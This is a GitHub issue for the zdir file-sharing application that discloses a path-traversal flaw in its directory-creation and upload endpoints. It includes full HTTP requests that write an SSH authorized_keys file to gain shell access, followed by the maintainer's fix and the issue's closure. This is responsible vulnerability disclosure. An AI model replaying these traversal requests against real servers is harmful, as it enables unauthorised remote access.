Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

File upload ssh authorized_keys causes RCE #90

Closed
yuyan-sec opened this issue Jan 10, 2023 · 3 comments
Closed

File upload ssh authorized_keys causes RCE #90

yuyan-sec opened this issue Jan 10, 2023 · 3 comments
Labels
bug Something isn't working

Comments

@yuyan-sec
Copy link

The steps to reproduce.

zdir version: 3.2.0

git clone https://github.com/helloxz/zdir

go run main.go init

modify file: /zdir/data/config/config.ini

public_path=data/public

start

go run main.go start

View routes, the interface requires login credentials
image-20230110170353211

Enter the controller.Mkdir method, the parameters submitted by the post request are name and path
image-20230110170618403

Enter the !V_dir method and find that it is only to judge whether the passed path is a folder

image-20230110170739292

This creates a .ssh directory using directory traversal

POST /api/dir/create HTTP/1.1
Host: 127.0.0.1:6080
Content-Length: 28
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
X-Token: 433a01baeaa6c37ef46f21621cc06f95
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: application/json, text/plain, */*
X-Cid: bPlNFG
sec-ch-ua-platform: "Linux"
Origin: http://127.0.0.1:6080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:6080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: USERNAME=admin; CID=bPlNFG; TOKEN=433a01baeaa6c37ef46f21621cc06f95
Connection: close

path=/../../../../&name=.ssh

image-20230110170950739

Enter the controller.Upload method, you can specify the upload path
image-20230110171249876

There is a loophole in the regex to determine whether the path is legal, and you can use /../ to bypass it

image-20230110171431322

Determine whether the folder exists, and terminate execution if it does not exist. So use the above directory traversal to create a folder, and then upload the file name without renaming it.
image-20230110171517184

POST /api/upload HTTP/1.1
Host: 127.0.0.1:6080
Content-Length: 897
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqjo68lEJ6LlJ8zdA
X-Token: 433a01baeaa6c37ef46f21621cc06f95
X-Cid: bPlNFG
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Linux"
Accept: */*
Origin: http://127.0.0.1:6080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:6080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: USERNAME=admin; CID=bPlNFG; TOKEN=433a01baeaa6c37ef46f21621cc06f95
Connection: close

------WebKitFormBoundaryqjo68lEJ6LlJ8zdA
Content-Disposition: form-data; name="path"

/../../../../../../home/kali/.ssh
------WebKitFormBoundaryqjo68lEJ6LlJ8zdA
Content-Disposition: form-data; name="file"; filename="authorized_keys"
Content-Type: text/plain

ssh-rsa

------WebKitFormBoundaryqjo68lEJ6LlJ8zdA--

Generate an ssh public key for upload
image-20230110171817094

Then you can use ssh to connect to the server

image-20230110172024799

@helloxz
Copy link
Owner

helloxz commented Jan 10, 2023

Thanks for your feedback, I have updated the code in the dev branch to fix this vulnerability and you can verify it again.

This is the change:42c1060

I will merge the code and fix the vulnerability in a subsequent release. Thanks again.

@helloxz helloxz added the bug Something isn't working label Jan 10, 2023
@yuyan-sec
Copy link
Author

用 V_fpath 函数绕不过了,因为跳不了目录了。

@helloxz
Copy link
Owner

helloxz commented Jan 11, 2023

好的,感谢您的反馈。这个issue就关闭了。

@helloxz helloxz closed this as completed Jan 11, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

2 participants